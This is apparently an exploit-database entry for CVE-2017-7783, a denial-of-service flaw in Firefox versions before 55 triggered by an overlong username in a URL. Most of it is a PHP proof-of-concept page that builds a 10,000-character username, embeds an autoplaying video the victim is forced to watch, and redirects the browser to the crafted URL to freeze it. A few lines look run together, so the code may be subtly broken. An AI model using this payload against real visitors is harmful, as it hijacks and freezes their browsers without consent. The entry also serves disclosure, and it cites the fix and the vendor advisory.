# Exploit Title: Mozilla Firefox < 55 - Forcibly make someone view a web content# Category: Denial of Service# Date: 5/11/17# CVE : CVE-2017-7783# Affected Version: < Mozilla Firefox 55# Tested on: Windows/Linux# Software Link: https://www.mozilla.org/en-US/firefox/52.0/releasenotes/# Exploit Author: Amit Sangra# Website: http://CyberCriminals.net# Description:If a long user name is used in a username/password combination in a site URL (such as http://UserName:Password@example.com), the resulting modal prompt will hang in a non-responsive state or crash, causing a denial of service.# Impact:
An attacker can create a webpage having some content and exploit.
Now once a victim visits this webpage, his browser gets locked out and he is forcibly made to view attacker supplied content.# Exploit:
<?php
$exploit=str_repeat(chr(0x41),10000);$location="http://Username".$exploit.":Password@Firefox.com";echo"<center><h1>Firefox Lockout Vulnerability</h1>";//Content to be forcibly viewed
echo"<iframe width=854 height=480 src=https://www.youtube.com/embed/QH2-TGUlwu4?autoplay=1 frameborder=0 allowfullscreen></iframe></center>";//Endecho"<script>setTimeout(\"location.href ='https://www.exploit-db.com/exploits/43020/".$location."';\",10000);</script>";
?>
# Solution:
Update to version 55
https://www.mozilla.org/en-US/firefox/55.0/releasenotes/
# Mozilla Foundation Security Advisory:
https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7783